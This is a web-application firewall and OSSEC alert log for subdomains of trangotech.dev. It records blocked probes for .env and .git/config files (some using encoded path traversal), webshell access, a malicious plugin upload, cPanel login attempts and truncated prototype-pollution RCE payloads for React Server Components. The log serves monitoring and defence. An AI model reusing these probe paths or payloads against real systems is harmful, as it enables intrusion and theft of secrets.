rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jul 10 06:33:16 staging sshd[3220769]: Accepted publickey for ansible from 192.168.0.89 port 40030 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.167.234.198
country_id: 6252001
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 185.177.72.10
country_id: 3017382
domain: usocial.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app_dev.php/_profiler/open?file=app/.env||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-10 09:16:18 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-10 09:16:17 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 124.253.215.144
country_id: 1269750
domain: express.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-content/uploads/grid-gallery/cache/twig/11/phd_buttonsEN.php||SC:/home/expresstrangotec/public_html/wp-content/uploads/grid-gallery/cache/twig/11/phd_buttonsEN.php||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 20.75.217.74
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/wp-includes/sodium_compat/src/core/base64/extplorer.list.php||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.75.217.74
country_id: 6252001
domain: express.trangotech.dev
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/expresstrangotec/public_html/wp-includes/sodium_compat/src/Core/Base64/extplorer.list.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 46.105.28.235
country_id: 3017382
domain: express.trangotech.dev
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/expresstrangotec/public_html/wp-includes/sodium_compat/namespaced/Core/Poly1305/sliding_contact.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-admin/qnmugxl86kgby3omthCdefault.php/wp-content/uploads/makeasmtp.php||SC:/home/bookemfarmtrang/public_html/wp-admin/qnmugxl86kgby3omthCdefault.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.87.212.39
country_id: 1210997
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/wp-admin/qnmugxl86kgby3omthCdefault.php/wp-includes/images/wp-login.php||SC:/home/bookemfarmtrang/public_html/wp-admin/qnmugxl86kgby3omthCdefault.php||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.168.28.41
country_id: 690791
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.168.28.41
country_id: 690791
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.28||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 78.46.99.182
country_id: 2921044
domain: wowspent.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 35.254.244.123
country_id: 6252001
domain: cramar.trangotech.dev
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.254.244.123
country_id: 6252001
domain: cramar.trangotech.dev
description:


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: pss.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"reason\":-1,\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"x_28ea9b83\":\"89b2c05766c21edb\",\"then\":\"$1:__proto__:then\",\"_response\":{\"_prefix\":\"var em=arguments['\\\\x31'];var xqq=em;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: shadow.trangotech.dev
description:


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 36.71.22.159
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/ejlucde6wtu92z98ofc2/6egnbfqljrqspciqkrm1rCmass.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 79.112.109.195
country_id: 2510769
domain: bibo.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/blog/wp-json/wp/v2/users/me||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 161.97.129.228
country_id: 3017382
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp/wp-json/wp/v2/users/me||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=w0pswgrf&v=qjb7q||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=y7brc2bp&v=sy0h5||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=2p5lq5yw&v=wai8h||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dev/.env?_=4f305hdg&v=gdj5k||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=pvcu69b4&v=7xlhz||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=kwuivh65&v=u6j45||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/.env?_=bjijj0wr&v=mf1cg||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/.git/config?_=gd8b8zki&v=qc2ih||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/.env?_=sosjws96&v=dkuja||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.git/config?_=p5291r21&v=f8je0||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/.env?_=9x0qdhob&v=0lut3||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=k2s3i1in&v=7xpsi||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=1wds3kfz&v=efdlc||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=an05m4pf&v=szksy||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=st4vc8ue&v=q4awk||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/.env?_=l83u52dc&v=81too||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.163
country_id: 732800
domain: pss.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=7jmgphkg&v=sqlin||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=8ds86ayc&v=xmybh||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=h009raih&v=7w0hm||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=qlyxmj23&v=gzfsc||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=z7oup4mo&v=svm5e||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=umj3xp3o&v=9wvi5||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=xmwqu2ig&v=bzt7d||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=tjb42zbg&v=72ai1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=4qwakr36&v=wnmye||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=2fhmwuwe&v=esboo||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.bak?_=kdk0kxpk&v=m4gg0||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=uzh3zwti&v=iqt86||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=bsci8gcr&v=83gsu||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=fpulhkzq&v=fp5ut||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=roix06bt&v=9jifj||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=mkopnk9n&v=42lu7||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.git/config?_=pmscs4zx&v=1hg09||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=vpqesljg&v=0rgyx||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=iho87zuv&v=eki0a||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=o1xkubzw&v=dt5gn||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=e8qo7mg4&v=qbxkt||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/tmp/.env?_=cmcw2ugj&v=txc6j||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/..\xc0\xafvar/www/html/.git/config?_=6amza8m0&v=aobo8||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.108
country_id: 732800
domain: pics2report.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/..\xc0\xaf..\xc0\xafapp/.env?_=gotcznnn&v=sbegg||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=eiyatweq&v=41dnv||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.git/config?_=6j3rwuun&v=koc1t||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=etz9z2u9&v=8wany||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.git/config?_=hin55sf0&v=m5lxu||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=eztupq3o&v=kf1ix||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/..\xc0\xafvar/www/.git/config?_=74drea8g&v=38c1t||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/..\xc0\xaf..\xc0\xafvar/www/.git/config?_=f7cblnlt&v=z1gal||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=4q2yw4c7&v=om0dl||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.135
country_id: 732800
domain: ahoyncms.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=ssvxshnb&v=urev0||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 103.171.88.220
country_id: 1269750
domain: express.trangotech.dev
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/wp-content/plugins/advanced-custom-fields-pro/pro/admin/admin.options.page.php||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 101.99.88.90
country_id: 1733045
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.28||T:APACHE||MV:chmod 0777 .||SC:/home/bookemfarmtrang/public_html/manvx0t2um5in4czjc3ubmCdefault.php||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 101.99.88.90
country_id: 1733045
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/bookemfarmtrang/public_html/manvx0t2um5in4czjc3ubmCdefault.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: popappweb.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"_20d7d8d1\":\"\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"ns_cfd68193\":\"\",\"_response\":{\"_prefix\":\"var peoab=arguments['\\\\x31'];var hgqov=peoab;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"f\\\",\\\"fe\\\",\\\"r\\\


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 185.81.145.26
country_id: 2017370
domain: magnacrete.trangotech.dev
description:


plugin: modsec
rule: 77316831
name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 185.81.145.26
country_id: 2017370
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:admin-toolkit-1783772008.zip||WPU:admin||RSV:8.28||T:APACHE||


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 185.81.145.26
country_id: 2017370
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Attempt to upload malware||Action:upload-plugin||Scan duration:173234||Sizes:5552||Combined size:5552||User:magnacretetrango||WPU:admin||Filename:admin-toolkit-1783772008.zip||Scanned:/tmp//20260711-081328-alIzaGwo-dNkLO44SNQejgAAAAo-file-RVdOXM||SC:/home/magnacretetrango/public_html/wp-admin/update.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 185.81.145.26
country_id: 2017370
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.28||T:APACHE||SC:/home/magnacretetrango/public_html/wp-json||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 74.245.209.134
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:74.245.209.134||TA:74.245.209.134||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.149.93.26
country_id: 1819730
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-09.103.149.93.26||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.199
country_id: 732800
domain: pst.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.docker/laravel/app/.env||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 67.180.57.76
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-11 17:46:24 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-11 17:46:25 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 39.34.132.18
country_id: 1168579
description:
[2026-07-11 18:25:47 -0400] info [cpaneld] 39.34.132.18 - marktechadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user marktechadmin (has_cpuser_file failed)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 39.34.132.18
country_id: 1168579
description:
[2026-07-11 18:26:35 -0400] info [cpaneld] 39.34.132.18 NEW stagingmarktech:sK2bDb1LyXarwx2M address=39.34.132.18,app=cpaneld,creator=stagingmarktech,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=wk19l6u5&v=de4lk||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.local?_=k42e8abv&v=94uio||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=bnbjfshf&v=1enfk||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=miv51v8f&v=3va21||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=v2kjaqk9&v=ucyc3||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=o11yvm1i&v=qdu2g||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=07xh3d3f&v=1rure||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
